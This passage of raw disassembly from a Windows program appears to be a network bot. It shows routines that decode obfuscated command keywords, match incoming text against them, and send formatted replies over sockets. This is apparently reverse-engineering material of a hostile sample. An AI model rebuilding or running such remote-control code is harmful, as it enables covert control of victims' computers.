mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411860 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4118E0: ; CODE XREF: ___:loc_40115Ej
; ___:004016EAj
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4118F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4118F8: ; CODE XREF: ___:004118EDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411910 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411910
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40196A
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411910 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411990 proc near ; CODE XREF: sub_402054j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411990
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411990 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A50 proc near ; CODE XREF: sub_40196Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A50 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B10 proc near ; CODE XREF: sub_4019D3j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40196A
test [esp+4+arg_0], 1
jz short loc_411B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_411B28: ; CODE XREF: sub_411B10+Dj
mov eax, esi
pop esi
retn 4
sub_411B10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411B40 proc near ; CODE XREF: sub_401A0Aj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411B40
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411B66
lea edi, [esi+11h]
jmp short loc_411B68
; ---------------------------------------------------------------------------
loc_411B66: ; CODE XREF: sub_411B40+1Fj
xor edi, edi
loc_411B68: ; CODE XREF: sub_411B40+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019B5
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017E4
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_411B40 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411BBC
lea ebx, [esi+11h]
jmp short loc_411BBE
; ---------------------------------------------------------------------------
loc_411BBC: ; CODE XREF: ___:00411BB5j
xor ebx, ebx
loc_411BBE: ; CODE XREF: ___:00411BBAj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019B5
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017E4
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C1B
lea ebx, [esi+11h]
jmp short loc_411C1D
; ---------------------------------------------------------------------------
loc_411C1B: ; CODE XREF: ___:00411C14j
xor ebx, ebx
loc_411C1D: ; CODE XREF: ___:00411C19j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017E4
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C70
lea ebx, [esi+11h]
jmp short loc_411C72
; ---------------------------------------------------------------------------
loc_411C70: ; CODE XREF: ___:00411C69j
xor ebx, ebx
loc_411C72: ; CODE XREF: ___:00411C6Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017E4
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411CC5
lea ebx, [esi+11h]
jmp short loc_411CC7
; ---------------------------------------------------------------------------
loc_411CC5: ; CODE XREF: ___:00411CBEj
xor ebx, ebx
loc_411CC7: ; CODE XREF: ___:00411CC3j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019B5
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017E4
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D18
lea ebx, [esi+11h]
jmp short loc_411D1A
; ---------------------------------------------------------------------------
loc_411D18: ; CODE XREF: ___:00411D11j
xor ebx, ebx
loc_411D1A: ; CODE XREF: ___:00411D16j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019B5
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017E4
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D71
lea ebx, [esi+11h]
jmp short loc_411D73
; ---------------------------------------------------------------------------
loc_411D71: ; CODE XREF: ___:00411D6Aj
xor ebx, ebx
loc_411D73: ; CODE XREF: ___:00411D6Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019B5
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017E4
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411DCF
lea ebx, [esi+11h]
jmp short loc_411DD1
; ---------------------------------------------------------------------------
loc_411DCF: ; CODE XREF: ___:00411DC8j
xor ebx, ebx
loc_411DD1: ; CODE XREF: ___:00411DCDj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017E4
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E2A
lea ebx, [esi+11h]
jmp short loc_411E2C
; ---------------------------------------------------------------------------
loc_411E2A: ; CODE XREF: ___:00411E23j
xor ebx, ebx
loc_411E2C: ; CODE XREF: ___:00411E28j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017E4
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E85
lea ebx, [esi+11h]
jmp short loc_411E87
; ---------------------------------------------------------------------------
loc_411E85: ; CODE XREF: ___:00411E7Ej
xor ebx, ebx
loc_411E87: ; CODE XREF: ___:00411E83j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017E4
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411FE0 proc near ; CODE XREF: sub_401AB9j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411FE0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+26Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+0A1h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4120E2
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
mov edx, dword_447100
push eax
push edx
add edi, 0FFFFFFEFh
push offset dword_443CEC
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4120E2: ; CODE XREF: sub_411FE0+70j
lea ecx, [edi+187h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412159
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412159: ; CODE XREF: sub_411FE0+117j
lea ecx, [edi+0FDh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412214
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018A2
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412532
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412214: ; CODE XREF: sub_411FE0+18Ej
lea ecx, [edi+12Bh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122BD
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_447104
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4122BD: ; CODE XREF: sub_411FE0+249j
lea ecx, [edi+1B5h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41232B
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017E4
mov edx, dword_447130
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E0B
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41232B: ; CODE XREF: sub_411FE0+2F2j
lea ecx, [edi+23Fh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41238D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E2E
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017E4
push eax
add edi, 0FFFFFFEFh
push offset dword_443CE4
push edi
call sub_401E0B
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_411FE0+360j
lea ecx, [edi+1E3h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41242D
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push 1
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014D3
push eax
mov ecx, esi
call sub_4014D3
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41242D: ; CODE XREF: sub_411FE0+3C2j
lea ecx, [edi+159h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412532
push offset asc_443600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016AE
mov ebx, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_447134
push eax
add edi, 0FFFFFFEFh
push offset dword_443CD4
push edi
call sub_401E0B
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412532
; ---------------------------------------------------------------------------
loc_412509: ; CODE XREF: sub_411FE0+3Aj
; sub_411FE0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_448C9E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401537
loc_412532: ; CODE XREF: sub_411FE0+FDj
; sub_411FE0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_411FE0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4126B0 proc near ; CODE XREF: sub_401D39j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4126B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_401424
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call sub_5EE1E5
nop
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_446F70
call sub_4015D7
push offset dword_443D18
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401A9B
push offset dword_443D14
lea ecx, [esp+54h+var_24]
call sub_401A9B
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016BD
push offset dword_443D14
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea ecx, [esp+50h+var_34]
push ecx
call sub_401479
add esp, 4
test al, al
jz short loc_4127BB
push offset dword_443D08
jmp short loc_4127C0
; ---------------------------------------------------------------------------
loc_4127BB: ; CODE XREF: sub_4126B0+102j
push offset dword_443CFC
loc_4127C0: ; CODE XREF: sub_4126B0+109j
lea ecx, [esp+54h+var_24]
call sub_401A9B
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_4126B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412870 proc near ; CODE XREF: sub_401582j
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
nop
call near ptr 71AB428Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_4128CE
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C9E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4128CE: ; CODE XREF: sub_412870+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412900 proc near ; CODE XREF: sub_401E0Bj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_401582
add esp, 2000h
retn
sub_412900 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412970 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412970
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_4129A7
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4129A7: ; CODE XREF: sub_412970+21j
lea ecx, [esp+40h+var_3C]
call sub_401424
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_4129C8
mov eax, dword_447100
push eax
jmp short loc_4129CF
; ---------------------------------------------------------------------------
loc_4129C8: ; CODE XREF: sub_412970+4Ej
mov ecx, dword_447108
push ecx
loc_4129CF: ; CODE XREF: sub_412970+56j
lea ecx, [esp+44h+var_3C]
call sub_4015D7
push ebx
lea ecx, [esp+44h+var_24]
call sub_401424
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+50h+var_24]
push offset dword_443CEC
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014D3
push eax
mov ecx, esi
call sub_401582
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412970 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412AA0 proc near ; CODE XREF: sub_401848j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412AA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B20 proc near ; CODE XREF: sub_401D0Cj
push esi
mov esi, ecx
call sub_401FB9
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412B20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B50 proc near ; CODE XREF: sub_401FB9j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C9E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop esi
retn
sub_412B50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B90 proc near ; CODE XREF: sub_401721j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412B90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412BC0 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412BC0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412C10 proc near ; CODE XREF: sub_401F00j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412C10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
